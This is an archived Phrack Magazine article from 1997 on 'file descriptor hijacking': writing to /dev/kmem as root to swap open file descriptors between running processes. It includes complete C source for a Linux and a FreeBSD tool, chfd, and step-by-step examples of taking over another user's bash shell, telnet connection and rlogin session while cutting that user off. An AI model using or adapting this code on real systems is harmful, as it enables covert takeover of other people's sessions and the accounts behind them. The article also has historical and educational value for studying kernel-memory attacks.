home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / phrack51.005 < prev    next >
Encoding:
Text File  |  2003-06-11  |  18.7 KB  |  579 lines

  1.  
  2. ---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 05 of 17
  3.  
  4.  
  5. -------------------------[  File Descriptor Hijacking
  6.  
  7.  
  8. --------[  orabidoo <odar@pobox.com>
  9.  
  10.  
  11. Introduction
  12. ------------
  13.  
  14. We often hear of tty hijacking as a way for root to take over a user's
  15. session.  The traditional tools for this use STREAMS on SysV machines,
  16. and one article in Phrack 50 presented a way to do it in Linux, using
  17. loadable modules.
  18.  
  19. I'll describe here a simple technique that lets root take over a local
  20. or remote session.  I've implemented it for Linux and FreeBSD; it should
  21. be easy to port it to just about any Un*x-like system where root can
  22. write to kernel memory.
  23.  
  24. The idea is simple: by tweaking the kernel's file descriptor tables, one
  25. can forcefully move file descriptors from one process to another.
  26. This method allows you to do almost anything you want: redirect the
  27. output of a running command to a file, or even take over your neighbor's
  28. telnet connection.
  29.  
  30.  
  31. How the kernel keeps track of open file descriptors
  32. ---------------------------------------------------
  33.  
  34. In Un*x, processes access resources by means of file descriptors, which
  35. are obtained via system calls such as open(), socket() and pipe().  From
  36. the process's point of view, the file descriptor is an opaque handle to
  37. the resource.  File descriptors 0, 1 and 2 represent standard input,
  38. output and error, respectively.  New descriptors are always allocated in
  39. sequence.
  40.  
  41. On the other side of the fence, the kernel keeps, for each process, a
  42. table of file descriptors (fds), with a pointer to a structure for each
  43. fd.  The pointer is NULL if the fd isn't open.  Otherwise, the structure
  44. holds information about what kind of fd it is (a file, a socket, a
  45. pipe, etc), together with pointers to data about the resource that the fd
  46. accesses (the file's inode, the socket's address and state information,
  47. and so on).
  48.  
  49. The process table is usually an array or a linked list of structures.
  50. From the structure for a given process, you can easily find a pointer to
  51. the internal fd table for that process.
  52.  
  53. In Linux, the process table is an array (called "task") of struct
  54. task_struct's, and includes a pointer to a struct files_struct, which
  55. has the fd array (look at /usr/include/linux/sched.h for details).  In
  56. SunOS 4, the process table is a linked list of struct proc's, which
  57. include a pointer to the u_area, which has info about the fds (look at
  58. /usr/include/sys/proc.h).  In FreeBSD, it's also a linked list (called
  59. "allproc") of struct proc's, which include a pointer to a struct
  60. filedesc with the fd table (also according to /usr/include/sys/proc.h).
  61.  
  62. If you have read and write access to the kernel's memory (which, in most
  63. cases, is the same as having read/write access to /dev/kmem), there's
  64. nothing to prevent you from messing with these fd tables, stealing open
  65. fd's from a process and reusing them in another one.
  66.  
  67. The only major case where this won't work are systems based on BSD4.4
  68. (such as {Free, Net, Open}BSD) running at a securelevel higher than 0.
  69. In that mode, write access to /dev/mem and /dev/kmem is disabled, among
  70. other things.  However, many BSD systems run at securelevel -1, which leaves
  71. them vulnerable, and in many others it may be possible to get the securelevel
  72. to be -1 at the next boot by tweaking the startup scripts.  On FreeBSD, you
  73. can check the securelevel with the command "sysctl kern.securelevel".  Linux
  74. also has securelevels, but they don't prevent you from accessing /dev/kmem.
  75.  
  76.  
  77. File descriptor hijacking
  78. -------------------------
  79.  
  80. The kernel's internal variables are really not made to be modified like
  81. this by user programs, and it shows.
  82.  
  83. First of all, on a multitasking system, you have no guarantee that the
  84. kernel's state won't have changed between the time you find out a
  85. variable's address and the time you write to it (no atomicity).  This is
  86. why these techniques shouldn't be used in any program that aims for
  87. reliability.  That being said, in practice, I haven't seen it fail, because
  88. the kernel doesn't move this kind of data around once it has allocated it
  89. (at least for the first 20 or 32 or 64 or so fds per process), and because
  90. it's quite unlikely that you'll do this just when the process is closing or
  91. opening a new fd.
  92.  
  93. You still want to try it?
  94.  
  95. For simplicity's sake, we won't try to do things like duplicating an fd
  96. between two processes, or passing an fd from one process to another
  97. without passing another one in return.  Instead, we'll just exchange an
  98. fd in one process with another fd in another process.  This way we only
  99. have to deal with open files, and don't mess with things like reference
  100. counts.  This is as simple as finding two pointers in the kernel and
  101. switching them around.  A slightly more complicated version of this
  102. involves 3 processes, and a circular permutation of the fds.
  103.  
  104. Of course, you have to guess which fd corresponds to the resource you
  105. want to pass.  To take complete control of a running shell, you'll want
  106. its standard input, output and error, so you'll need to take the 3 fds
  107. 0, 1 and 2.  To take control of a telnet session, you'll want the fd of
  108. the inet socket that telnet is using to talk to the other side, which is
  109. usually 3, and exchange it with another running telnet (so it knows what
  110. to do with it).  Under Linux, a quick look at /proc/[pid]/fd will tell
  111. you which fds the process is using.
  112.  
  113.  
  114. Using chfd
  115. ----------
  116.  
  117. I've implemented this for Linux and FreeBSD; it would be fairly easy to
  118. port to other systems (as long as they let you write to /dev/mem or
  119. /dev/kmem, and have the equivalent of a /usr/include/sys/proc.h to
  120. figure out how it works).
  121.  
  122. To compile chfd for Linux, you need to figure out a couple things about
  123. the running kernel.  If it's a 1.2.13 or similar, you'll need to
  124. uncomment the line /* #define OLDLINUX */, because the kernel's
  125. structures have changed since then.  If it's 2.0.0 or newer, it should
  126. work out of the box, although it could change again...
  127.  
  128. Then you need to find the symbol table for the kernel, which is usually
  129. in /boot/System.map or similar.  Make sure this corresponds to the
  130. kernel that is actually running, and look up the address for the "task"
  131. symbol.  You need to put this value in chfd, instead of "00192d28".
  132. Then compile with "gcc chfd.c -o chfd".
  133.  
  134. To compile chfd for FreeBSD, just get the FreeBSD code and compile it
  135. with "gcc chfd.c -o chfd -lkvm".  This code was written for FreeBSD
  136. 2.2.1, and might need tweaking for other versions.
  137.  
  138. Once it's compiled, you invoke chfd with
  139.  
  140.      chfd pid1 fd1 pid2 fd2
  141. or
  142.     chfd pid1 fd1 pid2 fd2 pid3 fd3
  143.  
  144. In the first case, the fds are just swapped.  In the second case, the
  145. second process gets the first's fd, the third gets the second's fd, and
  146. the first gets the third's fd.
  147.  
  148. As a special case, if one of the pids is zero, the corresponding fd is
  149. discarded, and a fd on /dev/null is passed instead.
  150.  
  151.  
  152. Example 1
  153. ---------
  154.  
  155. . a long calculation is running with pid 207, and with output to the tty
  156. . you type "cat > somefile", and look up cat's pid (say 1746)
  157.  
  158. Then doing
  159.  
  160.     chfd 207 1 1746 1
  161.  
  162. will redirect the calculation on the fly to the file "somefile", and the
  163. cat to the calculation's tty.  Then you can ^C the cat, and leave the
  164. calculation running without fear of important results scrolling by.
  165.  
  166.  
  167. Example 2
  168. ---------
  169.  
  170. . someone is running a copy of bash on a tty, with pid 4022
  171. . you are running another copy of bash on a tty, with pid 4121
  172.  
  173. Then you do
  174.  
  175.     sleep 10000
  176.       # on your own bash, so it won't read its tty for a while,
  177.       # otherwise your shell gets an EOF from /dev/null and leaves
  178.       # the session immediately
  179.     chfd 4022 0 0 0 4121 0
  180.     chfd 4022 1 0 0 4121 1
  181.     chfd 4022 2 0 0 4121 2
  182.  
  183. and you find yourself controlling the other guy's bash, and getting the
  184. output too, while the guy's keystrokes go to /dev/null.  When you exit
  185. the shell, he gets his session disconnected, and you're back in your
  186. sleep 10000 which you can safely ^C now.
  187.  
  188. Different shells might use different file descriptors; zsh seems to use
  189. fd 10 to read from the tty, so you'll need to exchange that too.
  190.  
  191.  
  192. Example 3
  193. ---------
  194.  
  195. . someone is running a telnet on a tty, with pid 6309
  196. . you start a telnet to some worthless port that won't drop the
  197.   connection too quickly (telnet localhost 7, telnet www.yourdomain 80,
  198.   whatever), with pid 7081
  199. . under Linux, a quick look at /proc/6309/fd and /proc/7081/fd tells you
  200.   telnet is using fds 0, 1, 2 and 3, so 3 must be the connection.
  201.  
  202. Then doing
  203.  
  204.     chfd 6309 3 7081 3 0 0
  205.  
  206. will replace the network connection with a /dev/null on the guy's telnet
  207. (which reads an EOF, so he'll get a "Connection closed by foreign
  208. host."), and your telnet finds itself connected to the guy's remote
  209. host.  At this point you'll probably need to press ^] and type "mode
  210. character" to tell your telnet to stop echoing your lines locally.
  211.  
  212.  
  213. Example 4
  214. ---------
  215.  
  216. . someone is running an rlogin on a tty; each rlogin uses two processes,
  217.   with pids 4547 and 4548
  218. . you start an rlogin localhost on another tty, with pids 4852 and 4855
  219. . a quick look at the relevant /proc/../fds tells you that each of the
  220.   rlogin processes is using fd 3 for the connection.
  221.  
  222. Then doing
  223.  
  224.     chfd 4547 3 4552 3
  225.     chfd 4548 3 4555 3
  226.  
  227. does just what you expect.  Except that your rlogin may still be blocked
  228. by the kernel because it's waiting on an event that won't happen (having
  229. data to read from localhost); in that case you wake it up with a kill
  230. -STOP followed by 'fg'.
  231.  
  232.  
  233. You get the idea.  When a program gets another one's fd, it's important
  234. that it knows what to do with it; in most cases you achieve this by
  235. running a copy of the same program you want to take over, unless you're
  236. passing a fd on /dev/null (which gives an EOF) or just passing
  237. stdin/stdout/stderr.
  238.  
  239.  
  240. Conclusion
  241. ----------
  242.  
  243. As you can see, you can do quite powerful things with this.  And there
  244. isn't really much you can do to protect yourself from some root doing
  245. this, either.
  246.  
  247. It could be argued that it's not even a security hole; root is
  248. *supposed* to be able to do these things.  Otherwise there wouldn't be
  249. explicit code in the drivers for /dev/kmem to let you write there, would
  250. there?
  251.  
  252.  
  253. The Linux code
  254. --------------
  255.  
  256. <++> fd_hijack/chfd-linux.c
  257. /*  chfd - exchange fd's between 2 or 3 running processes.
  258.  *
  259.  *  This was written for Linux/intel and is *very* system-specific.
  260.  *  Needs read/write access to /dev/kmem; setgid kmem is usually enough.
  261.  *
  262.  *  Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3]
  263.  *
  264.  *  With two sets of arguments, exchanges a couple of fd between the
  265.  *  two processes.
  266.  *  With three sets, the second process gets the first's fd, the third gets
  267.  *  the second's fd, and the first gets the third's fd.
  268.  *
  269.  *  Note that this is inherently unsafe, since we're messing with kernel
  270.  *  variables while the kernel itself might be changing them.  It works
  271.  *  in practice, but no self-respecting program would want to do this.
  272.  *
  273.  *  Written by: orabidoo <odar@pobox.com>
  274.  *  First version: 14 Feb 96
  275.  *  This version: 2 May 97
  276.  */
  277.  
  278.  
  279. #include <stdio.h>
  280. #include <unistd.h>
  281. #include <fcntl.h>
  282. #define __KERNEL__        /* needed to access kernel-only definitions */
  283. #include <linux/sched.h>
  284.  
  285. /* #define OLDLINUX */        /* uncomment this if you're using Linux 1.x;
  286.                    tested only on 1.2.13 */
  287.  
  288. #define TASK 0x00192d28        /* change this! look at the system map,
  289.                    usually /boot/System.map, for the address
  290.                    of the "task" symbol */
  291.  
  292. #ifdef OLDLINUX
  293. #  define FD0 ((char *)&ts.files->fd[0] - (char *)&ts)
  294. #  define AD(fd) (taskp + FD0 + 4*(fd))
  295. #else
  296. #  define FILES ((char *)&ts.files - (char *)&ts)
  297. #  define FD0 ((char *)&fs.fd[0] - (char *)&fs)
  298. #  define AD(fd) (readvalz(taskp + FILES) + FD0 + 4*(fd))
  299. #endif
  300.  
  301.  
  302. int kfd;
  303. struct task_struct ts;
  304. struct files_struct fs;
  305. int taskp;
  306.  
  307. int readval(int ad) {
  308.   int val, r;
  309.  
  310.   if (lseek(kfd, ad, SEEK_SET) < 0)
  311.     perror("lseek"), exit(1);
  312.   if ((r = read(kfd, &val, 4)) != 4) {
  313.     if (r < 0)
  314.       perror("read");
  315.     else fprintf(stderr, "Error reading...\n");
  316.     exit(1);
  317.   }
  318.   return val;
  319. }
  320.  
  321. int readvalz(int ad) {
  322.   int r = readval(ad);
  323.   if (r == 0)
  324.     fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1);
  325.   return r;
  326. }
  327.  
  328. void writeval(int ad, int val) {
  329.   int w;
  330.  
  331.   if (lseek(kfd, ad, SEEK_SET) < 0)
  332.     perror("lseek"), exit(1);
  333.   if ((w = write(kfd, &val, 4)) != 4) {
  334.     if (w < 0)
  335.       perror("write");
  336.     else fprintf(stderr, "Error writing...\n");
  337.     exit(1);
  338.   }
  339. }
  340.  
  341. void readtask(int ad) {
  342.   int r;
  343.  
  344.   if (lseek(kfd, ad, SEEK_SET)<0)
  345.     perror("lseek"), exit(1);
  346.   if ((r = read(kfd, &ts, sizeof(struct task_struct))) !=
  347.     sizeof(struct task_struct)) {
  348.     if (r < 0)
  349.       perror("read");
  350.     else fprintf(stderr, "Error reading...\n");
  351.     exit(1);
  352.   }
  353. }
  354.  
  355. void findtask(int pid) {
  356.   int adr;
  357.  
  358.   for (adr=TASK; ; adr+=4) {
  359.     if (adr >= TASK + 4*NR_TASKS)
  360.       fprintf(stderr, "Process not found\n"), exit(1);
  361.     taskp = readval(adr);
  362.     if (!taskp) continue;
  363.     readtask(taskp);
  364.     if (ts.pid == pid) break;
  365.   }
  366. }
  367.  
  368. int main(int argc, char **argv) {
  369.   int pid1, fd1, pid2, fd2, ad1, val1, ad2, val2, pid3, fd3, ad3, val3;
  370.   int three=0;
  371.  
  372.   if (argc != 5 && argc != 7)
  373.     fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]),
  374.     exit(1);
  375.  
  376.   pid1 = atoi(argv[1]), fd1 = atoi(argv[2]);
  377.   pid2 = atoi(argv[3]), fd2 = atoi(argv[4]);
  378.   if (argc == 7)
  379.     pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1;
  380.  
  381.   if (pid1 == 0)
  382.     pid1 = getpid(), fd1 = open("/dev/null", O_RDWR);
  383.   if (pid2 == 0)
  384.     pid2 = getpid(), fd2 = open("/dev/null", O_RDWR);
  385.   if (three && pid3 == 0)
  386.     pid3 = getpid(), fd3 = open("/dev/null", O_RDWR);
  387.  
  388.   kfd = open("/dev/kmem", O_RDWR);
  389.   if (kfd < 0)
  390.     perror("open"), exit(1);
  391.  
  392.   findtask(pid1);
  393.   ad1 = AD(fd1);
  394.   val1 = readvalz(ad1);
  395.   printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1);
  396.  
  397.   findtask(pid2);
  398.   ad2 = AD(fd2);
  399.   val2 = readvalz(ad2);
  400.   printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2);
  401.  
  402.   if (three) {
  403.     findtask(pid3);
  404.     ad3 = AD(fd3);
  405.     val3 = readvalz(ad3);
  406.     printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3);
  407.   }
  408.  
  409.   if (three) {
  410.     if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) {
  411.       fprintf(stderr, "fds changed in memory while using them - try again\n");
  412.       exit(1);
  413.     }
  414.     writeval(ad2, val1);
  415.     writeval(ad3, val2);
  416.     writeval(ad1, val3);
  417.   } else {
  418.     if (readval(ad1)!=val1 || readval(ad2)!=val2) {
  419.       fprintf(stderr, "fds changed in memory while using them - try again\n");
  420.       exit(1);
  421.     }
  422.     writeval(ad1, val2);
  423.     writeval(ad2, val1);
  424.   }
  425.   printf("Done!\n");
  426. }
  427.  
  428. <-->
  429.  
  430. The FreeBSD code
  431. ----------------
  432.  
  433. <++> fd_hijack/chfd-freebsd.c
  434.  
  435. /*  chfd - exchange fd's between 2 or 3 running processes.
  436.  *
  437.  *  This was written for FreeBSD and is *very* system-specific.  Needs
  438.  *  read/write access to /dev/mem and /dev/kmem; only root can usually
  439.  *  do that, and only if the system is running at securelevel -1.
  440.  *
  441.  *  Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3]
  442.  *  Compile with: gcc chfd.c -o chfd -lkvm
  443.  *
  444.  *  With two sets of arguments, exchanges a couple of fd between the
  445.  *  two processes.
  446.  *  With three sets, the second process gets the first's fd, the third
  447.  *  gets the second's fd, and the first gets the third's fd.
  448.  *
  449.  *  Note that this is inherently unsafe, since we're messing with kernel
  450.  *  variables while the kernel itself might be changing them.  It works
  451.  *  in practice, but no self-respecting program would want to do this.
  452.  *
  453.  *  Written by: orabidoo <odar@pobox.com>
  454.  *  FreeBSD version: 4 May 97
  455.  */
  456.  
  457.  
  458. #include <stdio.h>
  459. #include <fcntl.h>
  460. #include <kvm.h>
  461. #include <sys/proc.h>
  462.  
  463. #define NEXTP ((char *)&p.p_list.le_next - (char *)&p)
  464. #define FILES ((char *)&p.p_fd - (char *)&p)
  465. #define AD(fd) (readvalz(readvalz(procp + FILES)) + 4*(fd))
  466.  
  467. kvm_t *kfd;
  468. struct proc p;
  469. u_long procp, allproc;
  470. struct nlist nm[2];
  471.  
  472. u_long readval(u_long ad) {
  473.   u_long val;
  474.  
  475.   if (kvm_read(kfd, ad, &val, 4) != 4)
  476.     fprintf(stderr, "error reading...\n"), exit(1);
  477.   return val;
  478. }
  479.  
  480. u_long readvalz(u_long ad) {
  481.   u_long r = readval(ad);
  482.   if (r == 0)
  483.     fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1);
  484.   return r;
  485. }
  486.  
  487. void writeval(u_long ad, u_long val) {
  488.   if (kvm_write(kfd, ad, &val, 4) != 4)
  489.     fprintf(stderr, "error writing...\n"), exit(1);
  490. }
  491.  
  492. void readproc(u_long ad) {
  493.   if (kvm_read(kfd, ad, &p, sizeof(struct proc)) != sizeof(struct proc))
  494.     fprintf(stderr, "error reading a struct proc...\n"), exit(1);
  495. }
  496.  
  497. void findproc(int pid) {
  498.   u_long adr;
  499.  
  500.   for (adr = readval(allproc); adr; adr = readval(adr + NEXTP)) {
  501.     procp = adr;
  502.     readproc(procp);
  503.     if (p.p_pid == pid) return;
  504.   }
  505.   fprintf(stderr, "Process not found\n");
  506.   exit(1);
  507. }
  508.  
  509. int main(int argc, char **argv) {
  510.   int pid1, fd1, pid2, fd2, pid3, fd3;
  511.   u_long ad1, val1, ad2, val2, ad3, val3;
  512.   int three=0;
  513.  
  514.   if (argc != 5 && argc != 7)
  515.     fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]),
  516.     exit(1);
  517.  
  518.   pid1 = atoi(argv[1]), fd1 = atoi(argv[2]);
  519.   pid2 = atoi(argv[3]), fd2 = atoi(argv[4]);
  520.   if (argc == 7)
  521.     pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1;
  522.  
  523.   if (pid1 == 0)
  524.     pid1 = getpid(), fd1 = open("/dev/null", O_RDWR);
  525.   if (pid2 == 0)
  526.     pid2 = getpid(), fd2 = open("/dev/null", O_RDWR);
  527.   if (three && pid3 == 0)
  528.     pid3 = getpid(), fd3 = open("/dev/null", O_RDWR);
  529.  
  530.   kfd = kvm_open(NULL, NULL, NULL, O_RDWR, "chfd");
  531.   if (kfd == NULL) exit(1);
  532.  
  533.   bzero(nm, 2*sizeof(struct nlist));
  534.   nm[0].n_name = "_allproc";
  535.   nm[1].n_name = NULL;
  536.   if (kvm_nlist(kfd, nm) != 0)
  537.     fprintf(stderr, "Can't read kernel name list\n"), exit(1);
  538.   allproc = nm[0].n_value;
  539.  
  540.   findproc(pid1);
  541.   ad1 = AD(fd1);
  542.   val1 = readvalz(ad1);
  543.   printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1);
  544.  
  545.   findproc(pid2);
  546.   ad2 = AD(fd2);
  547.   val2 = readvalz(ad2);
  548.   printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2);
  549.  
  550.   if (three) {
  551.     findproc(pid3);
  552.     ad3 = AD(fd3);
  553.     val3 = readvalz(ad3);
  554.     printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3);
  555.   }
  556.  
  557.   if (three) {
  558.     if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) {
  559.       fprintf(stderr, "fds changed in memory while using them - try again\n");
  560.       exit(1);
  561.     }
  562.     writeval(ad2, val1);
  563.     writeval(ad3, val2);
  564.     writeval(ad1, val3);
  565.   } else {
  566.     if (readval(ad1)!=val1 || readval(ad2)!=val2) {
  567.       fprintf(stderr, "fds changed in memory while using them - try again\n");
  568.       exit(1);
  569.     }
  570.     writeval(ad1, val2);
  571.     writeval(ad2, val1);
  572.   }
  573.   printf("Done!\n");
  574. }
  575.  
  576. <-->
  577.  
  578. ----[  EOF
  579.